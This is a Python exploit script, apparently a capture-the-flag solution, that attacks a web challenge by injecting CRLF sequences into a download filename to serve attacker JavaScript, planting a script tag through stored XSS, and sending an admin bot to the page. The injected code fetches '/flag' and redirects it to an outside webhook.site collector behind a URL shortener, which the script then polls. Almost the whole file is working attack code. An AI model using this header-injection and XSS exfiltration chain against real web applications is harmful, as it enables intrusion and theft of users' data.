#!/usr/bin/env python3
"""
WORKING EXPLOIT - Ultra compact JavaScript to fit in 88 bytes
"""

import requests
import urllib.parse
import time

TARGET = "https://601d067d-c4f0-43ae-a8a3-74304575dd49.openec.sc:31337"
WEBHOOK = "https://webhook.site/8b78691f-3d1f-4ca1-bcaa-0bcb344a8508"

print("=" * 60)
print("COMPACT JAVASCRIPT EXPLOIT")
print("=" * 60)

# Ultra compact JS - using URL shortener to fit in 88 bytes!
W = "tinyurl.com/2te9sk4y"
js = f'fetch("/flag").then(r=>r.json()).then(d=>location="//{W}?f="+d.value)'

print(f"\nJavaScript length: {len(js)} bytes (limit: 88)")

if len(js) > 88:
    print("ERROR: JavaScript too long!")
    exit(1)

# Create payload
r = requests.post(f"{TARGET}/message", json={"value": "x"})
uuid = r.json()["uuid"]
print(f"Payload UUID: {uuid}")

# CRLF injection
filename = f'x"\r\nContent-Type: application/javascript\r\n\r\n{js}'
script_src = f"http://localhost:8000/download?uuid={uuid}&filename={urllib.parse.quote(filename)}"

# Verify what will be served
test_url = f"{TARGET}/download?uuid={uuid}&filename={urllib.parse.quote(filename)}"
r = requests.get(test_url)
print(f"\nServed JS ({len(r.text)} bytes):")
print(f"  {repr(r.text)}")

# Create HTML
html = f'</pre></code><script src="{script_src}"></script><code><pre>'
r = requests.post(f"{TARGET}/message", json={"value": html})
html_uuid = r.json()["uuid"]
print(f"HTML UUID: {html_uuid}")

# Send to bot
bot_url = f"http://localhost:8000/download?uuid={html_uuid}&view=True"

try:
    r = requests.post(f"{TARGET}/report", json={"url": bot_url}, timeout=10)
    print(f"\nBot: {r.json()}")
except Exception as e:
    print(f"\nBot request: {e}")

print("\n⏳ Waiting 15 seconds...")
time.sleep(15)

print("📡 Checking webhook...")
r = requests.get(
    "https://webhook.site/token/8b78691f-3d1f-4ca1-bcaa-0bcb344a8508/requests"
)
reqs = r.json().get("data", [])

print(f"Total requests: {len(reqs)}\n")

for i, req in enumerate(reqs[:5]):
    q = req.get("query", {})

    if "f" in q:
        import json

        flag_data = q["f"]

        print("\n" + "=" * 60)
        print("🎯 FLAG CAPTURED!")
        print("=" * 60)

        try:
            parsed = json.loads(flag_data)
            flag = parsed.get("value", "N/A")
            print(f"\n{'=' * 60}")
            print(f"FLAG: {flag}")
            print(f"{'=' * 60}\n")
        except:
            print(f"\nRaw data: {flag_data}\n")

        break
    else:
        print(f"[{i + 1}] {list(q.keys())}")

if not reqs:
    print("No requests yet")

print(f"\n{'=' * 60}")